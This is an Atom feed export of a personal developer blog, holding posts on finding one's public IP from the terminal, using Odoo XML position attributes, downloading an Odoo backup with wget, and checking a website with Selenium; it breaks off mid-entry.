<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1317740083899097806</id><updated>2026-06-09T08:43:39.201+02:00</updated><category term="web"/><category term="php"/><category term="Python"/><category term="optimizar"/><category term="curiosidades"/><category term="diseña"/><category term="JAVA"/><category term="descarga"/><category term="Android"/><category term="HTML"/><category term="consejos"/><category term="google"/><category term="SAP"/><category term="optimiConsejo"/><category term="ubuntu"/><category term="ABAP"/><category term="IP"/><category term="programación"/><category term="tipografía"/><category term="tonterías"/><category term="micro"/><category term="micro consejos"/><category term="script"/><category term="Linux"/><category term="aplicación"/><category term="jQuery"/><category term="CRM"/><category term="comandos"/><category term="consola"/><category term="CSS"/><category term="amazon"/><category term="api"/><category term="errores"/><category term="imagenes"/><category term="photoshop"/><category term="posicionamiento"/><category term="servidor"/><category term="tutorial"/><category term="amazon aws"/><category term="apuntes"/><category term="capicúa"/><category term="color"/><category term="desarrollo"/><category term="diseño"/><category term="javascript"/><category term="peticiones"/><category term="seguridad"/><category term="texto"/><category term="DDoS"/><category term="IE"/><category term="OpenERP"/><category term="ajax"/><category term="alerta"/><category term="bash"/><category term="controles"/><category term="código"/><category term="dominio"/><category term="fichero"/><category term="ficheros"/><category term="funciones estándar"/><category term="html5"/><category term="humor"/><category term="mac"/><category term="nmap"/><category term="puertos"/><category term="seo"/><category term="sistema"/><category term="texto plano"/><category term="vídeos"/><category term="3D"/><category term="C"/><category term="JS"/><category term="MySQL"/><category term="PSD"/><category term="Procesos"/><category term="RECURSIVIDAD"/><category term="Raspberry Pi"/><category term="Scapy"/><category term="algoritmo"/><category term="animación"/><category term="anonimo"/><category term="binario"/><category term="buscadores"/><category term="cache"/><category term="comparar"/><category term="compartir"/><category term="configurar"/><category term="conocer"/><category term="cpp"/><category term="crear"/><category term="desfragmentar"/><category term="detectar"/><category term="digitalocean"/><category term="disco"/><category term="disco duro"/><category term="ec2"/><category term="eliminar"/><category term="email"/><category term="escanear"/><category term="excepciones"/><category term="filtrar"/><category term="fotos"/><category term="fragmentar"/><category term="gmail"/><category term="guía"/><category term="herramienta"/><category term="hilos"/><category term="htaccess"/><category term="https"/><category term="logos"/><category term="migrar"/><category term="mobile"/><category term="navegar"/><category term="odoo"/><category term="organización ventas"/><category term="pdf"/><category term="penaliza"/><category term="precarga"/><category term="presentación"/><category term="proxy"/><category term="red social"/><category term="redireccionar"/><category term="rendimiento"/><category term="router"/><category term="scanear"/><category term="smushit"/><category term="ssh"/><category term="tiempo"/><category term="translate"/><category term="txt"/><category term="visitas"/><category term="vídeo"/><category term="weertik"/><category term="wifi"/><category term="www"/><category term="árboles"/><category term="10 cosas"/><category term="1and1"/><category term="204"/><category term="29"/><category term="503"/><category term="BP"/><category term="Bit"/><category term="COMMIT"/><category term="Cheat Cube"/><category term="Comic Sans"/><category term="Creatividad"/><category term="DHCP"/><category term="DISCOVER"/><category term="DavFS2"/><category term="Encipher"/><category term="FTP"/><category term="Git"/><category term="GmailFS"/><category term="Language"/><category term="Layouts"/><category term="Psicología"/><category term="QuickSort"/><category term="Robots"/><category term="S3"/><category term="SDK"/><category term="SHA1"/><category term="WHILE"/><category term="WebDav"/><category term="abecedario"/><category term="administrar"/><category term="after"/><category term="agencias"/><category term="aleatorio"/><category term="alertar email"/><category term="alertas"/><category term="alien"/><category term="amazon ec2"/><category term="amazon s3"/><category term="anomalias"/><category term="apache"/><category term="apk"/><category term="applet"/><category term="archivos"/><category term="array"/><category term="aspell"/><category term="attribute"/><category term="automático"/><category term="aws"/><category term="backup"/><category term="barra"/><category term="base datos"/><category term="basic"/><category term="before"/><category term="biblioteca c"/><category term="binary"/><category term="binary search"/><category term="bloquear"/><category term="bloquear mac"/><category term="boolean"/><category term="borrar"/><category term="builder"/><category term="busqueda"/><category term="busqueda binaria"/><category term="c++"/><category term="cabeceras"/><category term="cadena"/><category term="cadena proxy"/><category term="cambiar ip"/><category term="cerebro"/><category term="ceros"/><category term="cerrar"/><category term="certificados"/><category term="certificates"/><category term="check"/><category term="chuleta"/><category term="clases"/><category term="cliente"/><category term="cobertura"/><category term="coctelera"/><category term="codr"/><category term="colecciones"/><category term="command"/><category term="comunicado"/><category term="condiciones"/><category term="configure"/><category term="conjunto"/><category term="constructores"/><category term="contar registros tabla interna"/><category term="contenido"/><category term="contraseña"/><category term="controlador"/><category term="controlador de versiones"/><category term="controlar"/><category term="convert"/><category term="convertir"/><category term="cookie"/><category term="copy"/><category term="correo"/><category term="correos"/><category term="cosas"/><category term="crear excepciones"/><category term="crear instancia"/><category term="create"/><category term="criptografia"/><category term="crontab"/><category term="crud"/><category term="cuaderno"/><category term="cuadernos"/><category term="cuenta"/><category term="customer"/><category term="deb"/><category term="debian"/><category term="define"/><category term="defrag"/><category term="desbloquear mac"/><category term="describle table"/><category term="detect"/><category term="diapositivas"/><category term="diccionario"/><category term="dinámica"/><category term="disco duro ssd"/><category term="diseñar"/><category term="dispositivo"/><category term="dns"/><category term="dominios"/><category term="duración"/><category term="editar instancia"/><category term="efectos"/><category term="ejecutar"/><category term="ejecutar excepciones"/><category term="eliminar ficheros"/><category term="eliminar instancia"/><category term="engañar"/><category term="enviar"/><category term="enviar email"/><category term="escuchar"/><category term="espacio"/><category term="esteganografía"/><category term="estructura"/><category term="estructurar"/><category term="estándar"/><category term="etiquetas"/><category term="eventos"/><category term="factores"/><category term="fail2ban"/><category term="famosas"/><category term="fecha"/><category term="fecha modificación"/><category term="finalize"/><category term="firewall"/><category term="flujos"/><category term="formas"/><category term="formulario"/><category term="function"/><category term="garbage collector"/><category term="general"/><category term="generar"/><category term="geolocaliza"/><category term="gnome"/><category term="google play"/><category term="grep"/><category term="grub"/><category term="hash"/><category term="hora"/><category term="horario"/><category term="hosting"/><category term="humans"/><category term="identificar"/><category term="inetbase"/><category term="inicio"/><category term="initramfs"/><category term="instalar"/><category term="install"/><category term="insultos"/><category term="internal number"/><category term="intrusos"/><category term="ip en uso"/><category term="ipetables"/><category term="iptables"/><category term="jefe"/><category term="jobs"/><category term="jpg"/><category term="jquerymobile"/><category term="juego"/><category term="layer"/><category term="librerías"/><category term="lista"/><category term="lista proxy"/><category term="listado proxy"/><category term="listen"/><category term="manual"/><category term="mar"/><category term="mashup"/><category term="md5sum"/><category term="mejorar"/><category term="memoria"/><category term="mierda"/><category term="modificación"/><category term="modificar"/><category term="mojito"/><category term="movil"/><category term="mundo"/><category term="máquina"/><category term="métodos"/><category term="móvil"/><category term="música"/><category term="namecheap"/><category term="naturaleza"/><category term="navegador"/><category term="navegar anonimo"/><category term="netstat"/><category term="nivel"/><category term="no content"/><category term="no existen"/><category term="no hay"/><category term="node"/><category term="notify"/><category term="number"/><category term="numero BP"/><category term="numeros"/><category term="obtener superior"/><category term="oculta"/><category term="ocultar"/><category term="ocultar ip"/><category term="online"/><category term="openssl"/><category term="openvpn"/><category term="operación"/><category term="organización"/><category term="organization"/><category term="page speed"/><category term="palabras"/><category term="paletas"/><category term="panel"/><category term="papel"/><category term="parametros"/><category term="pasar parametros"/><category term="password"/><category term="personalizar"/><category term="plantillas"/><category term="plataforma"/><category term="plugin"/><category term="position"/><category term="primos"/><category term="privacidad"/><category term="programa"/><category term="proteger"/><category term="proxychains"/><category term="publicar"/><category term="punteros"/><category term="páginas"/><category term="raiser"/><category term="ram"/><category term="ranking"/><category term="rascar"/><category term="recuperar"/><category term="recursive"/><category term="recursos"/><category term="redes sociales"/><category term="refrescar"/><category term="reiniciar router"/><category term="rellenar campo"/><category term="rellenar ceros"/><category term="replace"/><category term="requisitos"/><category term="reset"/><category term="resolución"/><category term="restaurar"/><category term="return"/><category term="rpm"/><category term="ruby"/><category term="salir"/><category term="samir"/><category term="screenfly"/><category term="scroll"/><category term="search"/><category term="seguro"/><category term="selección"/><category term="selenium"/><category term="server"/><category term="servidores"/><category term="simular"/><category term="sistemas"/><category term="slidemypics"/><category term="sobrecargar"/><category term="sorprendente"/><category term="ssd"/><category term="ssl"/><category term="steghide"/><category term="style"/><category term="subir"/><category term="tags"/><category term="tamaño"/><category term="teclado"/><category term="telnet"/><category term="terminal"/><category term="threads"/><category term="timezone"/><category term="traductor"/><category term="tree"/><category term="try"/><category term="url"/><category term="usar"/><category term="usar python con c"/><category term="usuario"/><category term="vacaciones"/><category term="valor"/><category term="variable"/><category term="versiones"/><category term="visuales"/><category term="website"/><category term="whatsapp"/><category term="whatsappsniffer"/><category term="windows"/><category term="xmpp"/><category term="zeros"/><category term="zoom"/><category term="zram"/><title type='text'>optimizar sin más</title><subtitle type='html'>Endika Iglesias&#39;s Blog</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>239</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-6849583051431452661</id><published>2016-05-20T01:30:00.000+02:00</published><updated>2016-05-20T01:30:09.256+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="backup"/><category scheme="http://www.blogger.com/atom/ns#" term="odoo"/><title type='text'>Only things... how to get a backup from Odoo using wget</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi everyone, my recent publication:&lt;br /&gt;
Go to my Gist page&lt;br /&gt;
&lt;a href=&quot;https://gist.github.com/Endika/209e9d31a86e2820acfb84e62b748648&quot;&gt;https://gist.github.com/Endika/209e9d31a86e2820acfb84e62b748648&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Is very easy, with this line you can download ZIP file backup for you Odoo server.&lt;br /&gt;
&lt;br /&gt;
Nice, and see you&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/6849583051431452661/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2016/05/only-things-how-to-get-backup-from-odoo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6849583051431452661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6849583051431452661'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2016/05/only-things-how-to-get-backup-from-odoo.html' title='Only things... how to get a backup from Odoo using wget'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-8022157926842202108</id><published>2015-07-05T14:00:00.000+02:00</published><updated>2015-07-05T14:00:02.045+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="comandos"/><category scheme="http://www.blogger.com/atom/ns#" term="command"/><category scheme="http://www.blogger.com/atom/ns#" term="IP"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="terminal"/><title type='text'>How to know my public IP in terminal</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
Hi everybody, today i share a simple list for get your public IP in linux command line.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
First command, check your IP using dyndns service is very long command.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;curl -s http://checkip.dyndns.org/ | grep -o &quot;[[:digit:].]\+&quot;&lt;/code&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
This is short command and very easy to remember.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;curl ifconfig.me&lt;/code&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
Ipify is the same than ifconfig but response is in&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;JSON&lt;/code&gt;&amp;nbsp;format, prefer for webservices or other apps.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;curl &#39;https://api.ipify.org?format=json&#39;&lt;/code&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
Mi favorite is this command, is very elegant only send a request to obtain IP using DNS server.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;dig +short myip.opendns.com @resolver1.opendns.com&lt;/code&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
Other command is the same that others.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;curl ip.appspot.com&lt;/code&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
For to use this commands you need to install&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;curl&lt;/code&gt;&amp;nbsp;and&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;dig&lt;/code&gt;packages.&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
For use&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;curl&lt;/code&gt;&amp;nbsp;install&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;sudo aptitude install curl&lt;/code&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; box-sizing: border-box; color: #333333; font-family: Roboto, sans-serif; font-size: 16px; line-height: 1.5em; margin-bottom: 1em;&quot;&gt;
For use&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;dig&amp;nbsp;&lt;/code&gt;&lt;span style=&quot;line-height: 1.5em;&quot;&gt;install&lt;/span&gt;&lt;span style=&quot;line-height: 1.5em;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;code style=&quot;box-sizing: border-box; color: #aa6600; font-family: monospace, monospace; font-size: 0.875em; overflow: auto; tab-size: 4;&quot;&gt;sudo aptitude install dnsutils&lt;/code&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Mi notebook:&amp;nbsp;&lt;a href=&quot;http://endika.github.io/command/terminal/linux/ip/how-to-know-my-public-ip-in-terminal.html&quot;&gt;http://endika.github.io/command/terminal/linux/ip/how-to-know-my-public-ip-in-terminal.html&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/8022157926842202108/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2015/07/how-to-know-my-public-ip-in-terminal.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/8022157926842202108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/8022157926842202108'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2015/07/how-to-know-my-public-ip-in-terminal.html' title='How to know my public IP in terminal'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-7952507491214049013</id><published>2015-07-03T20:55:00.000+02:00</published><updated>2015-07-03T21:16:32.544+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="after"/><category scheme="http://www.blogger.com/atom/ns#" term="api"/><category scheme="http://www.blogger.com/atom/ns#" term="attribute"/><category scheme="http://www.blogger.com/atom/ns#" term="before"/><category scheme="http://www.blogger.com/atom/ns#" term="odoo"/><category scheme="http://www.blogger.com/atom/ns#" term="position"/><category scheme="http://www.blogger.com/atom/ns#" term="replace"/><title type='text'>Differents cases for you don&#39;t use position=&quot;replace&quot; in Odoo xml</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi everybody, today i explain how to use position attribute in Odoo XML.&lt;br /&gt;
&lt;br /&gt;
Realy is very easy, only you never forget this rule:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Never use this attribute position=&quot;replace&quot; NEVER NEVER.
&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&amp;lt;field name=&quot;street&quot; position=&quot;replace&quot;&amp;gt;
    &amp;lt;!-- .... Never use!!!! --&amp;gt;
&amp;lt;/field&amp;gt;&lt;/pre&gt;
Exist other for example &lt;b&gt;position=&quot;attribute&quot;&lt;/b&gt;, &lt;b&gt;position=&quot;after&quot;&lt;/b&gt;, &lt;b&gt;position=&quot;before&quot;&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&amp;lt;!-- You need add new attributes to field --&amp;gt;
&amp;lt;field name=&quot;street&quot; position=&quot;attribute&quot;&amp;gt;
    &amp;lt;attribute name=&quot;class&quot;&amp;gt;big_field&amp;lt;/attribute&amp;gt;
    &amp;lt;attribute name=&quot;value&quot;&amp;gt;Default Value&amp;lt;/attribute&amp;gt;
    &amp;lt;attribute name=&quot;style&quot;&amp;gt;boder:solid 0.1em #f00;&amp;lt;/attribute&amp;gt;
&amp;lt;/field&amp;gt;

&amp;lt;!-- You need add other field after that --&amp;gt;
&amp;lt;field name=&quot;street&quot; position=&quot;after&quot;&amp;gt;
    &amp;lt;field name=&quot;street2&quot;/&amp;gt;
&amp;lt;/field&amp;gt;

&amp;lt;!-- You need add other field before that --&amp;gt;
&amp;lt;field name=&quot;street&quot; position=&quot;before&quot;&amp;gt;
    &amp;lt;field name=&quot;first_name&quot;/&amp;gt;
&amp;lt;/field&amp;gt;
&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Is very importan in your addons not use replace attribute because is posible in your view or inherit view other addons touch the same part and cause error and generates incompatibilities.&lt;/div&gt;
&lt;br /&gt;
Other example with xpath expresion&lt;br /&gt;
&lt;pre class=&quot;brush:xml&quot;&gt;&amp;lt;!-- add in all links with class 
is menu_links text color red. --&amp;gt;
&amp;lt;xpath expr=&quot;//a[@class=&#39;menu_links&#39;]&quot; position=&quot;attributes&quot;&amp;gt;
&amp;nbsp; &amp;nbsp; &amp;lt;attribute name=&quot;style&quot;&amp;gt;color:#f00;&amp;lt;/attribute&amp;gt;
&amp;lt;/xpath&amp;gt;

&amp;lt;!-- add in only in first link with class 
is menu_links text color red. --&amp;gt;
&amp;lt;xpath expr=&quot;//a[@class=&#39;menu_links&#39;][0]&quot; position=&quot;attributes&quot;&amp;gt;
&amp;nbsp; &amp;nbsp; &amp;lt;attribute name=&quot;style&quot;&amp;gt;color:#f00;&amp;lt;/attribute&amp;gt;
&amp;lt;/xpath&amp;gt;

&amp;lt;!-- add in only in second link with class 
is menu_links text color red. --&amp;gt;
&amp;lt;xpath expr=&quot;//a[@class=&#39;menu_links&#39;][1]&quot; position=&quot;attributes&quot;&amp;gt;
&amp;nbsp; &amp;nbsp; &amp;lt;attribute name=&quot;style&quot;&amp;gt;boder:solid 0.1em #f00;&amp;lt;/attribute&amp;gt;
&amp;lt;/xpath&amp;gt;
&lt;/pre&gt;
The last example is very dangerous because is possible the second link not exist and cause error.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/7952507491214049013/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2015/07/differents-cases-for-you-dont-use.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/7952507491214049013'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/7952507491214049013'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2015/07/differents-cases-for-you-dont-use.html' title='Differents cases for you don&#39;t use position=&quot;replace&quot; in Odoo xml'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-6852261971755647689</id><published>2015-06-22T14:00:00.000+02:00</published><updated>2015-06-23T16:22:47.772+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="general"/><category scheme="http://www.blogger.com/atom/ns#" term="notify"/><category scheme="http://www.blogger.com/atom/ns#" term="return"/><title type='text'>My return random.randint(0, 1)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi everybody, i didn&#39;t posted like before days.&lt;br /&gt;
But the summer arrive and i will try posts new content. Now a days i publised a lot of commits and PR&#39;s (pull request) in my github account (&lt;a href=&quot;https://github.com/Endika&quot;&gt;https://github.com/Endika&lt;/a&gt;) i will try posted all interesting things in my blog.&lt;br /&gt;
&lt;br /&gt;
This is only a notify posts but the next posts i promise i published interesting things.&lt;br /&gt;
&lt;br /&gt;
Thanks for followme &lt;a href=&quot;https://twitter.com/endika_iglesias&quot;&gt;@endika_iglesias&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/6852261971755647689/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2015/06/my-return-randomrandint0-1.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6852261971755647689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/6852261971755647689'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2015/06/my-return-randomrandint0-1.html' title='My return random.randint(0, 1)'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Madrid, Madrid, España</georss:featurename><georss:point>40.4167754 -3.7037901999999576</georss:point><georss:box>40.0300434 -4.3492371999999575 40.8035074 -3.0583431999999577</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-1134586766383144626</id><published>2015-02-01T13:00:00.000+01:00</published><updated>2015-02-01T13:00:05.498+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="check"/><category scheme="http://www.blogger.com/atom/ns#" term="Python"/><category scheme="http://www.blogger.com/atom/ns#" term="selenium"/><category scheme="http://www.blogger.com/atom/ns#" term="website"/><title type='text'>How to check if my website this ON?</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
With Selenium language, is very easy. Only need installed selenium python library.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Simple example using Selenium library
&lt;/div&gt;
&lt;pre class=&quot;brush:python&quot;&gt;browser = webdriver.Firefox()
browser.get(&#39;http://google.es&#39;)
assert &#39;Google&#39; in browser.title
&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
In this example only checked if google.es has the &quot;Google&quot; title.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Now, if don&#39;t has the correct title the webs site, takes a screenshot.
&lt;/div&gt;
&lt;pre class=&quot;brush:python&quot;&gt;browser = webdriver.Firefox()
browser.get(&#39;http://google.es&#39;)
if &#39;Google&#39; not in browser.title:
    base64 = browser.get_screenshot_as_base64()
&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Finally, you can program tasks to check your websites and send email on error. If you want see the full example code go to this url&amp;nbsp;&lt;a href=&quot;https://github.com/Endika/test_script/blob/master/checkWebsite.py&quot;&gt;Github/Endika/test_script/checkWebsite.py&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://optimizarsinmas.blogspot.com/feeds/1134586766383144626/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://optimizarsinmas.blogspot.com/2015/02/how-to-check-if-my-website-this-on.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/1134586766383144626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1317740083899097806/posts/default/1134586766383144626'/><link rel='alternate' type='text/html' href='http://optimizarsinmas.blogspot.com/2015/02/how-to-check-if-my-website-this-on.html' title='How to check if my website this ON?'/><author><name>Endika</name><uri>http://www.blogger.com/profile/14017255221236595320</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total><georss:featurename>Palo Alto, California, EE. UU.</georss:featurename><georss:point>37.4418834 -122.14301949999998</georss:point><georss:box>37.2399894 -122.46574299999997 37.643777400000005 -121.82029599999998</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1317740083899097806.post-1457003314404295214</id><published>2014-05-21T15:30:00.000+02:00</published><updated>2014-05-21T15:30:03.194+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="digitalocean"/><category 